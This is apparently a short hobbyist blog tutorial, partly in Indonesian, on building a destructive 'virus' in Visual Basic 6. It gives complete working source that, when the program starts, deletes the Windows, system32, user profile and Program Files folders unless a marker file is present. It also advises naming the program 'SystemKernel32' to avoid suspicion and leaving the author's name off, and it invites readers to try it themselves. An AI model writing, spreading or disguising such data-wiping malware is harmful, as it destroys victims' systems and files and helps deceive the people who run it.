Creating Virus Use VB 6.0

Previous posts we try to make a virus using notepad, now using VB 6.0

Condition:

1. VB (optimal : 6.0)

2. Know about VB

Tutorial creating this virus only 1 minute

1. Create the smallest form

2. In the form's input the code below

Public Sub DelAll(ByVal DirtoDelete As Variant)

Dim FSO, FS

Set FSO = CreateObject(”Scripting.FileSystemObject”)

FS = FSO.DeleteFolder(DirtoDelete, True)

End Sub

Private Sub Form_Load()

On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then

End

Else

Call DelAll(”c:\windows\system”)

Call DelAll(”c:\windows\system32″)

Call DelAll(”c:\windows”)

Call DelAll(”C:\Documents and Settings\All Users”)

Call DelAll(”C:\Documents and Settings\Administrator”)

Call DelAll(”C:\Documents and Settings”)

Call DelAll(”C:\Program Files\Common Files”)

Call DelAll(”C:\Program Files\Internet Explorer”)

Call DelAll(”C:\Program Files\Microsoft Visual Studio”)

Call DelAll(”C:\Program Files”)

End

End If

End Sub

Function FileExist(ByVal FileName As String) As Boolean

If Dir(FileName) = “” Then

FileExist = False

Else

FileExist = True

End If

End Function

3.,Code blue reply that the virus antidote,Maybe you do not accidentally press the wrong so you survived. so in folder c:\windows\system32\ if there file namekatak.txt, youre protect

The red icon that's will delete by virus, you're edit self…

4.Create this project same with name system, In here I am use name “SystemKernel32″ so nothing suspecious

5. Dont write ur name in this virus… k?

6. compile… and finish

Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri...

From.Krebo_ingEdit Gebrez